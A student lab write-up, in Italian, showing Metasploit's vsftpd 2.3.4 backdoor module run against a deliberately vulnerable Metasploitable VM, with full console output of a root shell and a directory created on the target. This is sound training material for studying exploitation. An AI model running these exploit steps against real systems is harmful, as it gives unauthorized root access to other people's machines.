


Esercizio S7L1 - Metasploit e Exploit su vsftpd

L'esercizio di oggi riprendeva l'exploit visto in classe sul servizio vsftpd, con il cambio dell'indirizzo IP a 192.168.1.149 sulla macchina Metasploitable. Per cambiare l'indirizzo ip su Metasploitable ho utilizzato il comando `sudo nano /etc/network/interfaces` per settarlo permanentemente.

A screenshot of a Metasploit terminal session. The background is a dark blue/black desktop with a blue dragon-like graphic on the left. The terminal window shows the Metasploit console with various commands and their outputs. The URL 'https://metasploit.com' is at the top. The console shows the version 'metasploit v6.4.18-dev', statistics for exploits, payloads, encoders, nops, and evasion. It then shows the command to use the 'exploit/unix/ftp/vsftpd_234_backdoor' module, followed by setting the RHOSTS to '192.168.1.149'. The 'show options' command is used to display the module's configuration, which includes a table of settings like CHOST, CPORT, Proxies, RHOSTS, and RPORT. Finally, the 'exploit' command is entered at the prompt.

```
https://metasploit.com

-[ metasploit v6.4.18-dev ]
+ -- --[ 2437 exploits - 1255 auxiliary - 429 post ]
+ -- --[ 1468 payloads - 47 encoders - 11 nops ]
+ -- --[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.149
RHOSTS => 192.168.1.149
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  ---      -
  CHOST      The local client address
  CPORT      The local client port
  Proxies    A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS     192.168.1.149   yes       The target host(s), see https://docs
  .metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      21              yes       The target port (TCP)

Exploit target:

  Id  Name
  --  --
  0    Automatic

View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
```

Accedendo al terminale di comando di kali, abbiamo acceso Metasploit con il comando `msfconsole`. Avendolo già visto, ho proceduto con la configurazione dell'exploit stesso prima con la riga di codice `msf6 exploit su unix/ftp/vsftpd_234_backdoor`, per poi settare come RHOST l'indirizzo della macchina Metasploitable (192.168.1.149) attraverso `set RHOSTS 192.168.1.149`.

Ho verificato il corretto settaggio con il comando `show options`, che mostra che effettivamente è stato inserito correttamente l'indirizzo IP della macchina bersaglio.

```
View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.149:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling ...
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.100:35527 → 192.168.1.149:6200
) at 2024-11-11 09:15:28 -0500

cd /
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
mkdir /test_metasploit
ls
```

Attraverso il comando `exploit`, ho innanzitutto creato una backdoor e poi ho aperto la sessione della shell per poter modificare a nostro piacimento le cartelle come richiesto dall'esercizio.

Attraverso il comando `mkdir` abbiamo creato come da consegna la cartella `test_metasploit`, e con il comando `ls` abbiamo verificato l'esistenza della cartella appena inserita nella root home di Metasploitable.

```
var
vmlinuz
mkdir /test_metasploit
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
test_metasploit
tmp
usr
var
vmlinuz
█
```

Questo esercizio era volto a dimostrare la potenza di una Shell una volta che siamo già entrati nel sistema bersaglio, che ci aiuta addirittura a creare una nuova directory all'interno della macchina Metasploitable. Questa è una dimostrazione relativamente innocua, ma qualcuno in grado di creare un malware avrebbe potuto approfittarne per reperire informazioni confidenziali, inserire codice malevolo, scaricare o caricare file indesiderati, etc. L'aggiunta della backdoor è inoltre un modo sicuro per l'attaccante di rientrare facilmente nella vulnerabilità individuata, assicurando che non solo l'attacco sia riuscito inizialmente, ma che sia facilmente replicabile.